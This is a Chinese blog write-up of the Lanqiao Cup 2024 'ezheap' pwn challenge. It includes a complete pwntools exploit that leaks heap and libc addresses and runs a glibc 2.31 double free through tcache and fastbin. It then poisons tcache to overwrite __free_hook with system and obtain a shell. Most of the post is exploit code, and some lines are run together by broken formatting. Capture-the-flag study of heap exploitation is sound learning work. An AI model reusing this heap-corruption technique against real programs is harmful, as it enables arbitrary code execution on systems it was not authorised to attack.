[蓝桥杯2024]-PWN:ezheap解析(堆glibc2.31,glibc2.31下的double free)

2024-05-03 21:04

本文主要是介绍[蓝桥杯2024]-PWN:ezheap解析(堆glibc2.31,glibc2.31下的double free),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

查看保护

查看ida

大致就是只能创建0x60大小的堆块,并且uaf只能利用一次

完整exp:

from pwn import*
#context(log_level='debug')
p=process('./ezheap2.31')def alloc(content):p.sendlineafter(b'4.exit',b'1')p.send(content)
def free(index):p.sendlineafter(b'4.exit',b'2')p.sendline(str(index))
def show(index):p.sendlineafter(b'4.exit',b'3')p.sendline(str(index))
def uaffree(index):p.sendlineafter(b'4.exit',b'2106373')p.sendline(str(index))for i in range(3):alloc(b'a')
for i in range(2,0,-1):free(i)
alloc(b'a')
show(1)
p.recvuntil(b'a')
heapbase=(u64(p.recv(5).ljust(8,b'\x00'))<<8)-0x300
print(hex(heapbase))
alloc(b'a')
for i in range(10):alloc(b'a')
for i in range(7,0,-1):free(i)
uaffree(0)
payload=b'\x00'*0x18+p64(0x61)
alloc(payload)
free(0)
payload=p64(heapbase+0x290+0x10+0x10)
alloc(payload)
for i in range(7):payload=b'\x00'*0x18+p64(0x61)alloc(payload)
payload=b'\x00'*0x38+p64(0x60*11+1)
alloc(payload)
free(1)
alloc(b'a')
show(1)
onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(onelibc))
libc_start_main243=onelibc-0x61-0x1c8e7d
libc_start_main=libc_start_main243-243
libc=ELF('/home/pwn/libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
system=libcbase+libc.sym['system']
freehook=libcbase+libc.sym['__free_hook']
print(hex(system))
free(10)
free(1)
free(14)
payload=b'\x00'*0x38+p64(0x61)+p64(freehook)
alloc(payload)
payload=b'/bin/sh\x00'
alloc(payload)
payload=p64(system)
alloc(payload)
free(10)
p.interactive()

这里分为以下几个部分来讲

获取heap基地址:

for i in range(3):alloc(b'a')
for i in range(2,0,-1):free(i)
alloc(b'a')
show(1)
p.recvuntil(b'a')
heapbase=(u64(p.recv(5).ljust(8,b'\x00'))<<8)-0x300

在此版本中释放两个堆块后,在tcachebin中后一个堆块的fd会指向前一个堆块的fd,也就是存储前一个堆块的fd地址,而malloc不会清空内存,就可以泄露出heap地址了。

实现前提:

申请堆块不会清空内存

泄露libc地址:

alloc(b'a')
for i in range(10):alloc(b'a')
for i in range(7,0,-1):free(i)
uaffree(0)
payload=b'\x00'*0x18+p64(0x61)
alloc(payload)
free(0)
payload=p64(heapbase+0x290+0x10+0x10)
alloc(payload)
for i in range(7):payload=b'\x00'*0x18+p64(0x61)alloc(payload)
payload=b'\x00'*0x38+p64(0x60*11+1)
alloc(payload)
free(1)
alloc(b'a')
show(1)
onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(onelibc))
libc_start_main243=onelibc-0x61-0x1c8e7d
libc_start_main=libc_start_main243-243
libc=ELF('/home/pwn/libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
system=libcbase+libc.sym['system']
freehook=libcbase+libc.sym['__free_hook']
print(hex(system))

这里要运用uaf的原因是因为程序会通过检测堆数组里是否有所释放堆块的地址。这里用到了double free,这个版本下的tcachebin已经没有办法像glibc2.27那样直接free同一个堆块两次了,只能用将同一个堆块放入tcachebin和fastbin,因为2.31是通过检查堆块是否在tcachebin中来防范double free的,通过这种方法可以实现2.31下的double free。而用完double free之后在一个堆块的中间又创建一个堆块来方便修改下一个堆块的size和fd是因为我们要利用任意地址创建堆块两次。

题目要求:

地址在堆块数组中的堆块才能free

实现前提:

uaf漏洞

getshell:

free(10)
free(1)
free(14)
payload=b'\x00'*0x38+p64(0x61)+p64(freehook)
alloc(payload)
payload=b'/bin/sh\x00'
alloc(payload)
payload=p64(system)
alloc(payload)
free(10)

操作前提:

有一个可以修改另一个堆块的fd的堆块

#补充点:题目的接收好像有点问题,exp多试几次才能出。

这篇关于[蓝桥杯2024]-PWN:ezheap解析(堆glibc2.31,glibc2.31下的double free)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/957645

相关文章

使用Python实现批量访问URL并解析XML响应功能

《使用Python实现批量访问URL并解析XML响应功能》在现代Web开发和数据抓取中,批量访问URL并解析响应内容是一个常见的需求,本文将详细介绍如何使用Python实现批量访问URL并解析XML响... 目录引言1. 背景与需求2. 工具方法实现2.1 单URL访问与解析代码实现代码说明2.2 示例调用

SSID究竟是什么? WiFi网络名称及工作方式解析

《SSID究竟是什么?WiFi网络名称及工作方式解析》SID可以看作是无线网络的名称,类似于有线网络中的网络名称或者路由器的名称,在无线网络中,设备通过SSID来识别和连接到特定的无线网络... 当提到 Wi-Fi 网络时,就避不开「SSID」这个术语。简单来说,SSID 就是 Wi-Fi 网络的名称。比如

SpringCloud配置动态更新原理解析

《SpringCloud配置动态更新原理解析》在微服务架构的浩瀚星海中,服务配置的动态更新如同魔法一般,能够让应用在不重启的情况下,实时响应配置的变更,SpringCloud作为微服务架构中的佼佼者,... 目录一、SpringBoot、Cloud配置的读取二、SpringCloud配置动态刷新三、更新@R

使用Java解析JSON数据并提取特定字段的实现步骤(以提取mailNo为例)

《使用Java解析JSON数据并提取特定字段的实现步骤(以提取mailNo为例)》在现代软件开发中,处理JSON数据是一项非常常见的任务,无论是从API接口获取数据,还是将数据存储为JSON格式,解析... 目录1. 背景介绍1.1 jsON简介1.2 实际案例2. 准备工作2.1 环境搭建2.1.1 添加

在C#中合并和解析相对路径方式

《在C#中合并和解析相对路径方式》Path类提供了几个用于操作文件路径的静态方法,其中包括Combine方法和GetFullPath方法,Combine方法将两个路径合并在一起,但不会解析包含相对元素... 目录C#合并和解析相对路径System.IO.Path类幸运的是总结C#合并和解析相对路径对于 C

Python基于火山引擎豆包大模型搭建QQ机器人详细教程(2024年最新)

《Python基于火山引擎豆包大模型搭建QQ机器人详细教程(2024年最新)》:本文主要介绍Python基于火山引擎豆包大模型搭建QQ机器人详细的相关资料,包括开通模型、配置APIKEY鉴权和SD... 目录豆包大模型概述开通模型付费安装 SDK 环境配置 API KEY 鉴权Ark 模型接口Prompt

Java解析JSON的六种方案

《Java解析JSON的六种方案》这篇文章介绍了6种JSON解析方案,包括Jackson、Gson、FastJSON、JsonPath、、手动解析,分别阐述了它们的功能特点、代码示例、高级功能、优缺点... 目录前言1. 使用 Jackson:业界标配功能特点代码示例高级功能优缺点2. 使用 Gson:轻量

Java如何接收并解析HL7协议数据

《Java如何接收并解析HL7协议数据》文章主要介绍了HL7协议及其在医疗行业中的应用,详细描述了如何配置环境、接收和解析数据,以及与前端进行交互的实现方法,文章还分享了使用7Edit工具进行调试的经... 目录一、前言二、正文1、环境配置2、数据接收:HL7Monitor3、数据解析:HL7Busines

python解析HTML并提取span标签中的文本

《python解析HTML并提取span标签中的文本》在网页开发和数据抓取过程中,我们经常需要从HTML页面中提取信息,尤其是span元素中的文本,span标签是一个行内元素,通常用于包装一小段文本或... 目录一、安装相关依赖二、html 页面结构三、使用 BeautifulSoup javascript

网页解析 lxml 库--实战

lxml库使用流程 lxml 是 Python 的第三方解析库,完全使用 Python 语言编写,它对 XPath表达式提供了良好的支 持,因此能够了高效地解析 HTML/XML 文档。本节讲解如何通过 lxml 库解析 HTML 文档。 pip install lxml lxm| 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档,下面来介绍一下 lxml 库